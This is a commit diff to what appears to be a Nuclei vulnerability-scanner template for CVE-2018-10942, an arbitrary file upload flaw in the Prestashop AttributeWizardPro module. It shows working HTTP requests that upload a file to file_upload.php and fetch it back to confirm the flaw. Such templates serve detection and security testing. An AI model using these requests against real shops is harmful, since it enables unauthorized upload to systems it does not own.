Update CVE-2018-10942.yaml
parent
ee0666ea50
commit
280b43a382
|
@ -1,7 +1,7 @@
|
|||
id: CVE-2018-10942
|
||||
|
||||
info:
|
||||
name: Prestashop attributewizardpro module Arbitrary File Upload
|
||||
name: Prestashop AttributeWizardPro Module - Arbitrary File Upload
|
||||
author: MaStErChO
|
||||
severity: critical
|
||||
description: |
|
||||
|
@ -9,10 +9,13 @@ info:
|
|||
reference:
|
||||
- https://webcache.googleusercontent.com/search?q=cache:y0TbS2LsRfoJ:www.vfocus.net/art/20160629/12773.html&hl=en&gl=en
|
||||
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/
|
||||
- https://github.com/advisories/GHSA-3r9j-v4r2-2rj9
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2018-10942
|
||||
classification:
|
||||
cve-id: CVE-2018-10942
|
||||
metadata:
|
||||
max-request: 2
|
||||
tags: prestashop,attributewizardpro,intrusive,file-upload
|
||||
|
||||
variables:
|
||||
filename: '{{rand_base(7, "abc")}}'
|
||||
|
||||
|
@ -21,9 +24,6 @@ http:
|
|||
- |
|
||||
POST /modules/{{paths}}/file_upload.php HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
Connection: keep-alive
|
||||
Accept: */*
|
||||
User-Agent: python-requests/2.27.1
|
||||
Content-Type: multipart/form-data; boundary=ba1f796d0aa2482e9c51c81ae6087818
|
||||
|
||||
--ba1f796d0aa2482e9c51c81ae6087818
|
||||
|
@ -32,6 +32,7 @@ http:
|
|||
|
||||
{{randstr}}
|
||||
--ba1f796d0aa2482e9c51c81ae6087818--
|
||||
|
||||
- |
|
||||
GET /modules/{{paths}}/file_uploads/{{file}} HTTP/1.1
|
||||
Host: {{Hostname}}
|
||||
|
@ -46,17 +47,18 @@ http:
|
|||
stop-at-first-match: true
|
||||
host-redirects: true
|
||||
max-redirects: 3
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
part: body_1
|
||||
words:
|
||||
- '{{filename}}'
|
||||
|
||||
- type: word
|
||||
part: body_2
|
||||
words:
|
||||
- '{{randstr}}'
|
||||
|
||||
extractors:
|
||||
- type: regex
|
||||
name: file
|
||||
|
@ -64,4 +66,4 @@ http:
|
|||
internal: true
|
||||
group: 1
|
||||
regex:
|
||||
- '(.*?)\|\|\|\|'
|
||||
- '(.*?)\|\|\|\|'
|
||||
|
|
Loading…
Reference in New Issue